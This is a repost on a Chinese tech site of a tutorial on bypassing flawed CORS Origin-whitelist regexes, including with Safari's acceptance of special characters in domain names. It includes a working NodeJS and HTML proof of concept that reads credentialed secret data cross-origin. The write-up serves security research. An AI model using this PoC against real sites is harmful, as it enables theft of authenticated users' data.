您当前的位置:首页 > 电脑百科 > 网络技术 > 网络知识

最炫CORS利用技术,你不看看嘛

时间:2020-07-03 15:38:29  来源:  作者:

CORS是一个W3C标准,全称是"跨域资源共享"(Cross-originresource sharing)。 出于安全原因,浏览器限制从脚本中发起的跨域HTTP请求。默认的安全限制为同源策略,即JAVAScript或Cookie只能访问同域下的内容。

浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么何为同源呢,即两个站点需要满足同协议,同域名,同端口这三个条件。

SOP是一个很好的策略,但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。

CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。

背景:DNS&浏览器:

简单来说DNS本质上就是服务器的地址簿。它将主机名转换/映射到IP地址,使互联网更易于使用。

当你尝试访问浏览器中的URL时:

连接服务器⇾服务器使用SYN+ACK进行响应⇾浏览器向服务器发送HTTP请求以检索内容⇾呈现/显示内容。

DNS服务器响应任意请求 – 你可以发送子域中的任何字符,只要该域具有通配符DNS记录,它就会响应。

例如

dig A "<@$&(#+_`^%~>.withgoogle.com" @1.1.1.1 | grep -A 1 "ANSWER SECTION"
最炫CORS利用技术,你不看看嘛

 

浏览器?

现在我们知道DNS服务器会响应这些请求,那么浏览器又是如何处理它们的呢?

大多数浏览器在发送任意请求之前都会验证域名。

例如

Chrome:

最炫CORS利用技术,你不看看嘛

 

Firefox:

最炫CORS利用技术,你不看看嘛

 

Safari:

最炫CORS利用技术,你不看看嘛

 

注意!是大多数而不是所有浏览器。Safari就不同,如果我们尝试加载相同的域,它实际上会发送请求并加载页面:

我们可以使用各种字符,甚至是不可打印字符:

,&'";!$^*()+=`~-_=|{}% // non printable chars %01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

CORS配置

设置浏览器允许访问的服务器的头信息的白名单。可以使用正则表达式来完成。

示例#1:

^https?://(.*.)?xxe.sh$

即允许从xxe.sh和任意子域 (http:// 或 https://)进行跨域访问。

这也意味着攻击者想要从该端点窃取数据,唯一的可能性就是接管http(s)://xxe.sh / http(s)://*.xxe.sh的子域或其本身存在XSS漏洞。

示例#2:

^https?://.*.?xxe.sh$

与示例1相同 – 即允许从xxe.sh和任意子域进行跨域访问。

这个正则表达式与示例1非常相似,但其极易被攻击者利用并窃取数据。

而问题的根本就出在.*.?

分解:

.* = 单个字符匹配任意词,即贪婪匹配。 . = 匹配点字符 ? = 匹配前面的子表达式零次或一次

由于.*.不在一个组中,量词?只会对.字符有作用。因此在字符串"xxe.sh"之前可以放入任意字符,无论前面这些字符是否用句点符号进行分隔。

这意味着攻击者可以发送以xxe.sh结尾的任意地址,并且可以跨域访问。

最炫CORS利用技术,你不看看嘛

 

这是一种非常常见的bypass技术 – 这里有一个真实的例子:

https://hackerone.com/reports/168574

示例#3:

^https?://(.*.)?xxe.sh:?.*

这可能是为了允许从xxe.sh、所有子域以及这些域上的任何端口进行跨域访问。

你能发现问题吗?

分解:

: = 匹配冒号,即“:” ? = 匹配次数,就本例来说表示匹配冒号“:”零次或一次。 .* = 单个字符匹配
任意次,即贪婪匹配。

就像示例2一样,量词?只会对:字符有作用。因此,如果我们发送的域名在xxe.sh之后还有其他字符的话,仍然会被接受。

最炫CORS利用技术,你不看看嘛

 

价值百万美元的问题:

在利用CORS Misconfigurations时,Safari如何处理特殊字符?

以下面的Apache配置为例:

SetEnvIf Origin "^https?://(.*.)?xxe.sh([^.-a-zA-Z0-9]+.*)?"

AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %

{AccessControlAllowOrigin}e env=AccessControlAllowOrigin

实现从xxe.sh,所有子域以及这些域上的任何端口进行跨域访问。

下面是正则表达式的分解:

[^.-a-zA-Z0-9] = 不匹配这些字符:"." "-" "a-z" "A-Z" "0-9" + = 匹配次数:匹配上面的

字符一次或无数次 .* = 除行终止符之外的任意字符

这个API无法访问前面例子中的域,并且其他常见的绕过方法也无济于事。针对*.xxe.sh的子域接管或XSS攻击,只能用来窃取数据,但是,我们可以在此基础上发挥创造性!

我们知道,任何诸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不会被信任的,但是,在字符串"xxe.sh"之后有空格的域名的情况又如何呢?

最炫CORS利用技术,你不看看嘛

 

我们看到它是被信任的,但是任何普通浏览器都不支持这样的域。

由于正则表达式匹配字母数字ASCII字符以及. -,所以,"xxe.sh"之后的特殊字符是被信任的:

最炫CORS利用技术,你不看看嘛

 

这种域名在现代通用浏览器Safari中被支持。

利用

先决条件:

具有泛解析记录的域指向您的机器。

NodeJS

和大多数浏览器一样,Apache和Nginx也不喜欢这些特殊字符,所以使用NodeJS为htmlJavaScript提供服务更容易。

[+] serve.js

var http = require('http'); var url = require('url'); var fs   = require('fs');
var port = 80 http.createServer(function(req, res) {     if (req.url == '/cors-
poc') {         fs.readFile('cors.html', function(err, data) {            
res.writeHead(200, {'Content-Type':'text/html'});             res.write(data);  
          res.end();         });     } else {         res.writeHead(200,
{'Content-Type':'text/html'});         res.write('never gonna give you up...');
        res.end();     } }).listen(port, '0.0.0.0'); console.log(`Serving on
port ${port}`);

在同一个目录中,保存以下内容:

[+] cors.html

<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();">
<center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz">
</textarea><br> </div> <script> function cors() { var xhttp = new
XMLHttpRequest(); xhttp.onreadystatechange = function() { if
(this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText; } };
xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
xhttp.withCredentials = true; xhttp.send(); } </script>

通过运行以下命令来启动NodeJS服务器:

node serve.js &

正如之前所述,由于正则表达式与字母数字ASCII字符和. -相匹配,所以,"xxe.sh"之后的特殊字符将获得信任:

因此,如果我们打开Safari并访问http://x.xxe.sh{./cors-poc,就能够成功地从易受攻击的端点中窃取数据。

最炫CORS利用技术,你不看看嘛

 

此外,我还注意到,字符_(在子域中)不仅在Safari中受支持,而且Chrome和Firefox也支持该字符!

实际测试

考虑到这些特殊字符,找出Access-Control-Allow-Origin头文件中反映了哪些域可能是一项冗长而费时的任务:

最炫CORS利用技术,你不看看嘛

 

TheftFuzzer介绍:

为了节省时间并提高效率,我决定编写一个工具对相应的CORS配置进行模糊测试,以获取允许的域名。该工具是用Python编写的,大家可以在Github上下载到这个工具,如果你对该工具有任何改进意见,请随时在Github上向我提出!

结语

我希望这篇文章能为大家提供/带来一些好的灵感和思路。也希望大家能活学活用,把学到的这些知识点运用到实际的研究测试中。最后,祝愿大家漏洞越挖越多。


探讨渗透测试及黑客技术,请关注并私信我。#小白入行网络安全# #安界网人才培养计划#



Tags:CORS   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
相信每一个前端在对接 API 时,多多少少一定遇过以下错误: 虽然要解决此问题大部分还是需要后端帮忙,但前端也需要知道为什么会发生、要如何解决。同源政策 (Same Origin Policy...【详细内容】
2021-12-24  Tags: CORS  点击:(7)  评论:(0)  加入收藏
跨域问题一直是面试中的经典问题,不管是前端老鸟还是新鸟都碰到过。其中针对跨源Ajax请求中有一个终极解决办法&mdash;&mdash;CORS(跨源资源共享)大家肯定也不陌生,一说这个名词...【详细内容】
2021-03-24  Tags: CORS  点击:(334)  评论:(0)  加入收藏
这篇文章我们聊一聊CORS跨域,它的全称是"跨域资源共享"(Cross-origin resource sharing)。在之前的文章中我们已经详细介绍了如何使用JSONP进行接口跨域请求,如果不了解的可以参...【详细内容】
2020-12-28  Tags: CORS  点击:(165)  评论:(0)  加入收藏
声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释...【详细内容】
2020-08-31  Tags: CORS  点击:(223)  评论:(0)  加入收藏
跨域的含义同源策略以及其限制内容同源策略是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击。所谓 同源是指"协议+域名+...【详细内容】
2020-08-10  Tags: CORS  点击:(62)  评论:(0)  加入收藏
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-originresource sharing)。 出于安全原因,浏览器限制从脚本中发起的跨域HTTP请求。默认的安全限制为同源策略,即JavaScript或Cook...【详细内容】
2020-07-03  Tags: CORS  点击:(62)  评论:(0)  加入收藏
那么我们今天就来了解一下cors跨域和jsonp劫持漏洞同源策略为什么还要讲一遍同源策略,我们之前写xss的时候有讲到过,不了解的同学可以看看我们的那篇xss文章,那么该策略是浏览...【详细内容】
2020-02-16  Tags: CORS  点击:(421)  评论:(0)  加入收藏
这篇文章我们聊一聊CORS跨域,它的全称是"跨域资源共享"(Cross-origin resource sharing)。在之前的文章中我们已经详细介绍了如何使用JSONP进行接口跨域请求,如果不了解的可以参...【详细内容】
2020-01-16  Tags: CORS  点击:(78)  评论:(0)  加入收藏
▌简易百科推荐
以京训钉开发平台接口文档为例,使用HttpClient类请求调用其接口,对数据进行增删改查等操作。 文档地址: https://www.yuque.com/bjjnts/jxd/bo1oszusing System;using System.C...【详细内容】
2021-12-28  Wednes    Tags:HttpClient   点击:(1)  评论:(0)  加入收藏
阿里云与爱快路由安装组网教程一、开通好阿里云轻量服务器之后在服务器运维-远程连接处进行远程 二、进入控制台后在root权限下根据需要安装的固件位数复制下面命令。32位:wg...【详细内容】
2021-12-28  ikuai    Tags:组网   点击:(1)  评论:(0)  加入收藏
HTTP 报文是在应用程序之间发送的数据块,这些数据块将通过以文本形式的元信息开头,用于 HTTP 协议交互。请求端(客户端)的 HTTP 报文叫做请求报文,响应端(服务器端)的叫做响应...【详细内容】
2021-12-27  程序员蛋蛋    Tags:HTTP 报文   点击:(4)  评论:(0)  加入收藏
一 网络概念:1.带宽: 标识网卡的最大传输速率,单位为 b/s,比如 1Gbps,10Gbps,相当于马路多宽2.吞吐量: 单位时间内传输数据量大小单位为 b/s 或 B/s ,吞吐量/带宽,就是网络的使用率...【详细内容】
2021-12-27  码农世界    Tags:网络   点击:(3)  评论:(0)  加入收藏
1.TCP/IP 网络模型有几层?分别有什么用? TCP/IP网络模型总共有五层 1.应用层:我们能接触到的就是应用层了,手机,电脑这些这些设备都属于应用层。 2.传输层:就是为应用层提供网络...【详细内容】
2021-12-22  憨猪哥08    Tags:TCP/IP   点击:(35)  评论:(0)  加入收藏
TCP握手的时候维护的队列 半连接队列(SYN队列) 全连接队列(accepted队列)半连接队列是什么?服务器收到客户端SYN数据包后,Linux内核会把该连接存储到半连接队列中,并响应SYN+ACK报...【详细内容】
2021-12-21  DifferentJava    Tags:TCP   点击:(10)  评论:(0)  加入收藏
你好,这里是科技前哨。 随着“元宇宙”概念的爆火,下一代互联网即将到来,也成了互联网前沿热议的话题,12月9日美国众议院的听证会上,共和党议员Patrick McHenry甚至宣称,要调整现...【详细内容】
2021-12-17  王煜全    Tags:Web3   点击:(14)  评论:(0)  加入收藏
一、demopublic static void main(String[] args) throws Exception { RetryPolicy retryPolicy = new ExponentialBackoffRetry( 1000, 3);...【详细内容】
2021-12-15  程序员阿龙    Tags:Curator   点击:(22)  评论:(0)  加入收藏
一、计算机网络概述 1.1 计算机网络的分类按照网络的作用范围:广域网(WAN)、城域网(MAN)、局域网(LAN);按照网络使用者:公用网络、专用网络。1.2 计算机网络的层次结构 TCP/IP四层模...【详细内容】
2021-12-14  一口Linux    Tags:网络知识   点击:(31)  评论:(0)  加入收藏
无论是在外面还是在家里,许多人都习惯了用手机连接 WiFi 进行上网。不知道大家有没有遇到过这样一种情况, 明明已经显示成功连接 WiFi,却仍然提示“网络不可用”或“不可上网”...【详细内容】
2021-12-14  UGREEN绿联    Tags:WiFi   点击:(25)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条